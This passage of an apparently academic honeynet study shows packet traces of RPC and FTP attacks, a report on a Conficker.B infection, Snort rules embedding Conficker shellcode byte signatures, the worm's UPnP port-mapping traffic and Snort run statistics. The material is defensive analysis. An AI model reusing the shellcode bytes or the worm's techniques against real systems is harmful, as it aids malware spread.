200.35.233.178

192.168.1.12

TCP

[TCP segment of a reassembled PDU]

53550

2950.971898

200.35.233.178

192.168.1.12

REMACT

RemoteActivation request CLSID=NULL IID[1]=IUnknown

53551

2950.971964

192.168.1.12

200.35.233.178

TCP

epmap > hpiod [ACK] Seq=61 Ack=1747 Win=64240 Len=0

53553

2951.171912

192.168.1.12

200.35.233.178

DCERPC

Fault: call_id: 0 ctx_id: 0 status: nca_s_fault_access_denied

53554

2951.172161

192.168.1.12

200.35.233.178

TCP

epmap > hpiod [FIN, ACK] Seq=93 Ack=1747 Win=64240 Len=0

53589

2952.406288

200.35.233.178

192.168.1.12

TCP

hpiod > epmap [FIN, ACK] Seq=1747 Ack=93 Win=17428 Len=0

53590

2952.406349

192.168.1.12

200.35.233.178

TCP

epmap > hpiod [ACK] Seq=94 Ack=1748 Win=64240 Len=0

53652

2956.360608

192.168.1.12

200.35.233.178

TCP

epmap > hpiod [FIN, ACK] Seq=93 Ack=1748 Win=64240 Len=0

53676

2957.885682

200.35.233.178

192.168.1.12

TCP

[TCP ZeroWindow] hpiod > epmap [ACK] Seq=1748 Ack=94 Win=0 Len=0

Figure 16 - Data flow for an attack to the MS03-039 vulnerability

For the honeypot every attack was intended for the port TCP 135
(epmap).
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6.2.3 FTP server - Weak security configuration
The FTP server had a very weak security configuration, as it allowed
anonymous

connections.

This

weakness

was

observed

when

a

connection was established and the intruder executed a series of
commands.

Figure 17 - Succesful connection to FTP and commands executed

In this connection the intruder changed the working directory to / listed
the content of the directory and tried to create a folder. Even though
nothing relevant was done by definition every traffic that goes in or out of
the honeynet should be considered as malicious.
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6.2.4 Buffer Overrun In RPC Interface
This vulnerability was attacked just once according to the Snort rules.
This vulnerability resides in the part of the RPC that deals with message
exchange over TCP/IP and the failure results because of an incorrect
handling of malformed messages [20].
Here is a sample of a Snort rule activating while detecting this attack.
[**] [1:3397:8] NETBIOS DCERPC NCACN-IP-TCP ISystemActivator
RemoteCreateInstance attempt [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
03/27-17:17:46.242637 221.251.220.138:1276 -> 192.168.1.12:135
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:1744
***AP*** Seq: 0xE294F46 Ack: 0x566C5BBC Win: 0xFAF0 TcpLen: 20
[Xref => http://www.microsoft.com/technet/security/bulletin/MS03-026.asp]

No

Time

Source

627289

17:44.4

221.251.220.138

192.168.1.12

Destination
TCP

Protocol

ivmanager > epmap [SYN] Seq=0 Win=16384 Len=0 MSS=1460

Information

627290

17:44.4

192.168.1.12

221.251.220.138

TCP

epmap > ivmanager [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

627291

17:44.7

221.251.220.138

192.168.1.12

TCP

ivmanager > epmap [ACK] Seq=1 Ack=1 Win=17520 Len=0

627296

17:46.2

221.251.220.138

192.168.1.12

DCERPC

Bind: call_id: 127 ISystemActivator V0.0

627297

17:46.2

192.168.1.12

221.251.220.138

DCERPC

Bind_ack: call_id: 127 accept max_xmit: 5840 max_recv: 5840

627298

17:46.2

221.251.220.138

192.168.1.12

TCP

[TCP segment of a reassembled PDU]

627299

17:46.2

221.251.220.138

192.168.1.12

ISystemActivator

RemoteCreateInstance request[Long frame (1580 bytes)]

627300

17:46.2

192.168.1.12

221.251.220.138

TCP

epmap > ivmanager [ACK] Seq=61 Ack=1777 Win=64240 Len=0

627301

17:46.2

192.168.1.12

221.251.220.138

DCERPC

Fault: call_id: 229 ctx_id: 1 status: nca_s_fault_access_denied

627302

17:46.2

192.168.1.12

221.251.220.138

TCP

epmap > ivmanager [FIN, ACK] Seq=93 Ack=1777 Win=64240 Len=0

627303

17:46.2

221.251.220.138

192.168.1.12

TCP

ivmanager > epmap [FIN, ACK] Seq=1777 Ack=1 Win=17520 Len=0

627304

17:46.2

192.168.1.12

221.251.220.138

TCP

epmap > ivmanager [ACK] Seq=94 Ack=1778 Win=64240 Len=0

Figure 18 - Remote Create Instance attempt
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7. CONCLUSIONS
At the beginning of this project we had two goals: the first goal was to
compare the effect that the deployment of one or more honeypots could
have in the production network depending on the security configuration
of the network nodes. The second goal was a personal one and it was to
understand how honeypots work, what tools are the most useful to
analyze them and most specially how to use Snort. For this we took the
approach of setting up a honeynet without the strict usage of a
honeywall and let the security to be a matter of the hosts' configuration
in the network. Representing the workstations that a typical network
has, four virtual machines were installed with four different protection
levels.

As expected, besides of the two honeypot, the virtual machine with less
security was the only one compromised, in this case infected by the
worm Win32/Conficker.B.

In just under five minutes since the first

successful attack this worm had infected the three computers. Thanks to
the deployment of the honeynet in a controlled environment a deep
understanding in how Win32/Conficker.B works was achieved, still some
of the insides of the infection such as the registry keys modified could
not been identified. Another important fact learned from this infection is
that the presence of a firewall in a host can make a difference, in the
alerts that Snort recorded in the event of a Win32/Conficker.B payload
detected none of the two computers running a firewall (the Vmware host
and WinXPIV) appeared as attacked. Also as important as the firewall are
the Windows updates. Even when two of the computers did in fact were
attacked as shown in the Snort traces none of them were infected most
probably because they had every Windows updates installed.
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About the use, or in this case not use of a honeywall in the scenario, it
resulted interesting how something that is deployed to secure the
network of an institution or to be used for research can become so
dangerous. In this experiment a honeywall was not used so when the
honeypots were infected the malware communicated with the Internet
without restraint. If this was the case of an institution its public IP
address could appear as a source of malicious activities and be tagged as
dangerous, hence it's extremely important not just for the security of the
network but also for the cyber-image of the institution that a honeywall
is deployed along the honeynet.

Regarding the other attacks, even if no other attack was successful, it
was learned that as soon as an IP address is available in the Internet is
object of several attacks (just after 4 minutes of being online the
honeynet registered the first contact), so security from the outside of the
local network is a must in every situation.

Finally about the personal goal I could obtain a huge amount of
information in the deployment of honeynets and the tools used to analyze
them. Special mention to Snort which at the beginning was used as a
mere sniffer, but at the end with was used for much more than that as it
allowed me to analyze the capture files and match the information
against a set of rules to produce important alerts that helped to the
development of this report. Another interesting surprise is The Honeynet
Project

[5]

which has been studying the development of malware in the

Internet since 1999, it is a great source of information for this field and
the fight against malicious web activity.
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APPENDIX A
Snort rules to detect Conficker payload
These Snort rules were used to detect Win32/Conficker.A and
Win32/Conficker.B payloads. Were extracted from this source

[18].

alert tcp any any -> 192.168.1.0/24 445 (msg: "conficker.a shellcode";
content: "|e8 ff ff ff ff c1|^|8d|N|10 80|1|c4|Af|81|9EPu|f5 ae c6 9d
a0|O|85 ea|O|84 c8|O|84 d8|O|c4|O|9c cc|IrX|c4 c4 c4|,|ed c4 c4 c4
94|&<O8|92|\;|d3|WG|02 c3|,|dc c4 c4 c4 f7 16 96 96|O|08 a2 03 c5 bc ea
95|\;|b3 c0 96 96 95 92 96|\;|f3|\;|24|i| 95 92|QO|8f f8|O|88 cf bc c7
0f f7|2I|d0|w|c7 95 e4|O|d6 c7 17 f7 04 05 04 c3 f6 c6 86|D|fe c4
b1|1|ff 01 b0 c2 82 ff b5 dc b6 1b|O|95 e0 c7 17 cb|s|d0 b6|O|85 d8 c7
07|O|c0|T|c7 07 9a 9d 07 a4|fN|b2 e2|Dh|0c b1 b6 a8 a9 ab aa c4|]|e7 99
1d ac b0 b0 b4 fe eb eb|"; sid: 2000001; rev: 1;)

alert tcp any any -> 192.168.1.0/24 445 (msg: "Win32/Conficker.B
shellcode"; content: "|e8 ff ff ff ff c2|_|8d|O|10
80|1|c4|Af|81|9MSu|f5|8|ae c6 9d a0|O|85 ea|O|84 c8|O|84 d8|O|c4|O|9c
cc|Ise|c4 c4 c4|,|ed c4 c4 c4 94|&<O8|92|\;|d3|WG|02 c3|,|dc c4 c4 c4
f7 16 96 96|O|08 a2 03 c5 bc ea 95|\;|b3 c0 96 96 95 92 96|\;|f3|\;|24
|i|95 92|QO|8f f8|O|88 cf bc c7 0f f7|2I|d0|w|c7 95 e4|O|d6 c7 17 cb c4
04 cb|{|04 05 04 c3 f6 c6 86|D|fe c4 b1|1|ff 01 b0 c2 82 ff b5 dc b6
1f|O|95 e0 c7 17 cb|s|d0 b6|O|85 d8 c7 07|O|c0|T|c7 07 9a 9d 07
a4|fN|b2 e2|Dh|0c b1 b6 a8 a9 ab aa c4|]|e7 99 1d ac b0 b0 b4 fe eb
eb|"; sid: 2000002; rev: 1;)
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APPENDIX B
Other findings related to Win32/Conficker.B
Some other characteristics of the worm are the following:
1. It deletes every restoration point and stop the System Restore
service.
2. Stop Security Center service
3. Stop Automatic Update service
4. Install itself as a service with a random name
All this can be seen in the next images. It can be seen that the hour of
these events is the same as the Snort alert and the network traces.

Figure 19 - Stop System Restore service

Figure 20 - Stop Security Center service

Figure 21 - Stop Automatic Updates service

Figure 22 - Install itself as a service with a random
name
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APPENDIX C
Information about Park-agent port
During one part of the routine that the machines infected with
Win32/Conficker.B did it was the establishment of a series of TCP
conversations with the router.
POST /uuid:0021-299c-af7502f8b8a4/WANPPPConnection:1 HTTP/1.1
Host: 192.168.1.1:5431
User-Agent: POSIX, UPnP/1.0
Content-Length: 400
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetSpecificPortMappingEntry"
Connection: Close
Cache-Control: no-cache
Pragma: no-cache
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<m:GetSpecificPortMappingEntry xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>2645</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
</m:GetSpecificPortMappingEntry>
</s:Body>
</s:Envelope>
HTTP/1.1 200 OK
DATE: Mon, 29 Mar 2010 23:43:58 GMT
Connection: Keep-Alive
Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0
Content-Length: 541
Content-Type: text/xml; charset="utf-8"
EXT:
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<m:GetSpecificPortMappingEntryResponse xmlns:m="urn:schemas-upnporg:service:WANPPPConnection:1">
<NewInternalPort>6551</NewInternalPort>
<NewInternalClient>192.168.1.13</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>56726fcb805a2e73</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</m:GetSpecificPortMappingEntryResponse>
</s:Body>
</s:Envelope>
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APPENDIX D
Running Snort rules against capture files
This is the result of Snort after comparing the capture files of the two
weeks period against the Snortrules snapshot 2.8 (4-Mar-2010).
Run time for packet processing was 301.960000 seconds
===============================================================================
Snort processed 11016905 packets.
===============================================================================
Breakdown by protocol (includes rebuilt packets):
ETH: 11016905
(100.000%)
ETHdisc: 0
(0.000%)
VLAN: 0
(0.000%)
IPV6: 10003
(0.091%)
IP6 EXT: 0
(0.000%)
IP6opts: 0
(0.000%)
IP6disc: 0
(0.000%)
IP4: 10969960
(99.574%)
IP4disc: 0
(0.000%)
TCP 6: 0
(0.000%)
UDP 6: 0
(0.000%)
ICMP6: 0
(0.000%)
ICMP-IP: 0
(0.000%)
TCP: 10927697
(99.190%)
UDP: 38273
(0.347%)
ICMP: 3741
(0.034%)
TCPdisc: 0
(0.000%)
UDPdisc: 0
(0.000%)
ICMPdis: 0
(0.000%)
FRAG: 0
(0.000%)
FRAG 6: 0
(0.000%)
ARP: 36942
(0.335%)
EAPOL: 0
(0.000%)
ETHLOOP: 0
(0.000%)
IPX: 0
(0.000%)
IPv4/IPv4: 0
(0.000%)
IPv4/IPv6: 0
(0.000%)
IPv6/IPv4: 0
(0.000%)
IPv6/IPv6: 0
(0.000%)
GRE: 0
(0.000%)
GRE ETH: 0
(0.000%)
GRE VLAN: 0
(0.000%)
GRE IPv4: 0
(0.000%)
GRE IPv6: 0
(0.000%)
GRE IP6 E: 0
(0.000%)
GRE PPTP: 0
(0.000%)
GRE ARP: 0
(0.000%)
GRE IPX: 0
(0.000%)
GRE LOOP: 0
(0.000%)
MPLS: 0
(0.000%)
OTHER: 249
(0.002%)
DISCARD: 0
(0.000%)
InvChkSum: 0
(0.000%)
S5 G 1: 606364
(5.504%)
S5 G 2: 3108
(0.028%)
Total: 11016905
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===============================================================================
Action Stats:
ALERTS: 759276
LOGGED: 759276
PASSED: 0
===============================================================================
Frag3 statistics:
Total Fragments: 0
Frags Reassembled: 0
Discards: 0
Memory Faults: 0
Timeouts: 0
Overlaps: 0
Anomalies: 0
Alerts: 0
Drops: 0
FragTrackers Added: 0
FragTrackers Dumped: 0
FragTrackers Auto Freed: 0
Frag Nodes Inserted: 0
Frag Nodes Deleted: 0
===============================================================================
Stream5 statistics:
Total sessions: 813673
TCP sessions: 813673
UDP sessions: 0
ICMP sessions: 0
TCP Prunes: 0
UDP Prunes: 0
ICMP Prunes: 0
TCP StreamTrackers Created: 848050
TCP StreamTrackers Deleted: 848050
TCP Timeouts: 34586
TCP Overlaps: 342
TCP Segments Queued: 5824853
TCP Segments Released: 5824853
TCP Rebuilt Packets: 5786090
TCP Segments Used: 5822325
TCP Discards: 2674
UDP Sessions Created: 0
UDP Sessions Deleted: 0
UDP Timeouts: 0
UDP Discards: 0
Events: 0
Internal Events: 0
TCP Port Filter
Dropped: 0
Inspected: 0
Tracked: 10318225
UDP Port Filter
Dropped: 0
Inspected: 0
Tracked: 0
===============================================================================
HTTP Inspect - encodings (Note: stream-reassembled packets included):
POST methods:
172
GET methods:
9782
Headers extracted:
9954
Header Cookies extracted:
142
Post parameters extracted:
172
Unicode:
0
Double unicode:
0
Non-ASCII representable:
0
Base 36:
0
Directory traversals:
0
Extra slashes ("//"):
18
Self-referencing paths ("./"): 0
Total packets processed:
11667618
===============================================================================
dcerpc2 Preprocessor Statistics
Total sessions: 606452
Missed bytes: 893345
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Transports
SMB
Total sessions: 606429
Packet stats
Packets: 5745619
Ignored bytes: 276038478
Not IPC packets (after tree connect): 68191
Not NBSS Session Message: 2
Seg reassembled: 9
Session Setup AndX requests: 1144574
Session Setup AndX responses: 1143473
Logoff AndX requests: 216300
Logoff AndX responses: 216258
Tree Connect AndX requests: 641126
Tree Connect AndX responses: 641126
Tree Disconnect requests: 216248
Tree Disconnect responses: 216209
Nt Create AndX requests: 2737
Nt Create AndX responses: 2737
Close requests: 911
Close responses: 910
Transact requests: 6076
Transact responses: 6069
Write AndX requests: 978
Write AndX responses: 978
Read AndX requests: 937
Read AndX responses: 935
SMB other command requests: 90
SMB other command responses: 90
TCP
Total sessions: 23
Packet stats
Packets: 85
DCE/RPC
Connection oriented
Packet stats
PDUs: 8957
Bind: 972
Bind Ack: 969
Alter context: 5
Alter context response: 5
Request: 3530
Response: 3423
Fault: 45
Request fragments: 42
Min fragment size: 4
Max fragment size: 2200
Frag reassembled: 21
Response fragments: 0
Client seg reassembled: 3
Server seg reassembled: 5
===============================================================================
SSL Preprocessor:
SSL packets decoded: 758
Client Hello: 43
Server Hello: 2
Certificate: 0
Server Done: 72
Client Key Exchange: 35
Server Key Exchange: 0
Change Cipher: 72
Finished: 0
Client Application: 48
Server Application: 32
Alert: 0
Unrecognized records: 597
Completed handshakes: 0
Bad handshakes: 0
Sessions ignored: 32
Detection disabled: 0
===============================================================================
Snort exiting

